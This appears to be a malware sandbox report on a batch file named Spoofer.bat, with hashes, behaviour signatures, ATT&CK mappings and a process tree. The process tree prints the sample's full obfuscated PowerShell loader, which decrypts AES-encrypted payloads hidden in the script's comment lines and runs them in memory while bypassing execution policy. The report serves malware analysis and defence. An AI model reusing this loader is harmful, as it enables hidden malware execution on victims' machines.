1ecacd9c2ab0bc3acfde09e2819c2390e231110f5923fdd9ee26dfe76ccd337f

Analysis

max time kernel
91s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
25-01-2025 15:00

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General

Target

Spoofer.bat
Size

293KB
MD5

eafc5ba9f6f74bfced619180451718d1
SHA1

1bf80060b1af65d0ae1c4e10ba681acdb97127da
SHA256

1ecacd9c2ab0bc3acfde09e2819c2390e231110f5923fdd9ee26dfe76ccd337f
SHA512

391e30a38a44bdde182a982067a68442e41f4d43cfee136fd7560c56cc0a537da03dcb6241675c69f3d57bd09d5f385d2674f9f708f450d88cc1314009e6d591
SSDEEP

3072:3W+656Qjki8jgdcsZ9nd7Ab62C2TMT/CuL9j0XqwQ/HJ7kntdCoq+Saafyl9w5:3W+IWgdc0ZAu2m/7LdZwYHJmDFSJCi5

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2772	powershell.exe

Deletes itself 1 IoCs

pid	Process
2532	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 1620	2532	cmd.exe	31
PID 2532 wrote to memory of 1620	2532	cmd.exe	31
PID 2532 wrote to memory of 1620	2532	cmd.exe	31
PID 1620 wrote to memory of 2756	1620	net.exe	32
PID 1620 wrote to memory of 2756	1620	net.exe	32
PID 1620 wrote to memory of 2756	1620	net.exe	32
PID 2532 wrote to memory of 2772	2532	cmd.exe	33
PID 2532 wrote to memory of 2772	2532	cmd.exe	33
PID 2532 wrote to memory of 2772	2532	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Spoofer.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('alu9gNFHG/1+ONNuVv38kB6PYCH5Zwt0aaqQhOABIPQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TJb0r0olCEvhnI4DkaxyfQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mcfDl=New-Object System.IO.MemoryStream(,$param_var); $qjFRZ=New-Object System.IO.MemoryStream; $CoVvH=New-Object System.IO.Compression.GZipStream($mcfDl, [IO.Compression.CompressionMode]::Decompress); $CoVvH.CopyTo($qjFRZ); $CoVvH.Dispose(); $mcfDl.Dispose(); $qjFRZ.Dispose(); $qjFRZ.ToArray();}function execute_function($param_var,$param2_var){ $TXVMP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uDvWJ=$TXVMP.EntryPoint; $uDvWJ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Spoofer.bat';$VhdxI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Spoofer.bat').Split([Environment]::NewLine);foreach ($RSEQe in $VhdxI) { if ($RSEQe.StartsWith(':: ')) { $PYavD=$RSEQe.Substring(3); break; }}$payloads_var=[string[]]$PYavD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2772-4-0x000007FEF5DFE000-0x000007FEF5DFF000-memory.dmp

Filesize
4KB

Download
memory/2772-5-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2772-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2772-7-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-9-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-11-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-10-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-12-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download